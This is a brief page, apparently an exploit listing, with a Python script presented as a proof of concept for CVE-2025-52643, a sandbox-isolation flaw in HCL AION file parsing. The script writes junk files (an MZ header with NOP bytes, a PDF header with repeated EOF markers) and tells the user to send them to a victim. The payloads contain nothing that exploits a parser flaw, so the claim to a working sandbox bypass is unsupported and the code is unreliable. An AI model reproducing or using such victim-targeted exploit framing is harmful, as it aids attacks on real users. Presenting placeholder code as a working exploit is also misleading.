CVE-2025-52643: HCL AION文件解析沙箱隔离缺失漏洞

# CVE-2025-52643 PoC - Malicious File Generator for HCL AION # This PoC demonstrates the vulnerability where untrusted file parsing # operations are not executed in a properly isolated sandbox environment. import os import struct def create_malicious_file(filename, payload_type='basic'): """ Generate a malicious file that exploits the sandbox isolation bypass in HCL AION file parsing operations. Args: filename: Output filename payload_type: Type of payload to embed """ # Create a malicious file with embedded payload # This file when opened in HCL AION may execute code outside sandbox if payload_type == 'basic': # Simple file that triggers parsing vulnerability malicious_content = b'MZ' + b'\x90' * 50 + b'\x00' * 100 # Add markers that may confuse the parser malicious_content += b'CVE-2025-52643-TEST' + b'\xff' * 20 elif payload_type == 'extended': # Extended payload with potential command execution header = b'%PDF-1.4\n' # Malformed PDF structure that may trigger parsing issues payload = b'%%EOF\n' * 50 malicious_content = header + payload else: malicious_content = b'INVALID_FILE_FORMAT_' * 100 with open(filename, 'wb') as f: f.write(malicious_content) print(f'[+] Malicious file created: {filename}') print(f'[+] Payload type: {payload_type}') print(f'[+] File size: {len(malicious_content)} bytes') def main(): print('=== CVE-2025-52643 HCL AION Sandbox Bypass PoC ===') print('[+] Target: HCL AION File Parser') print('[+] Vulnerability: Untrusted file parsing without sandbox isolation') # Generate multiple test files create_malicious_file('test_file_cve2025_52643.bin', 'basic') create_malicious_file('test_pdf_cve2025_52643.pdf', 'extended') print('\n[!] Usage: Send these files to victim running HCL AION') print('[!] When victim opens file, parser may execute code outside sandbox') if __name__ == '__main__': main()